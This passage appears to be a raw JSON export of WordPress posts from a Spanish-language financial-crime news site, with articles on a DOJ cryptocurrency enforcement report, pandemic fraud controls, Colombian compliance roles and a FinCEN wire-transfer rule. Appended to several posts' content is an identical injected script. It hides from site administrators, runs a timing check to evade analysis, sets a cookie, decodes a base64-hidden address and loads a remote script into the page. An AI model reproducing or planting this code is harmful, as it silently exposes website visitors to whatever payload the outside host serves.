SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a 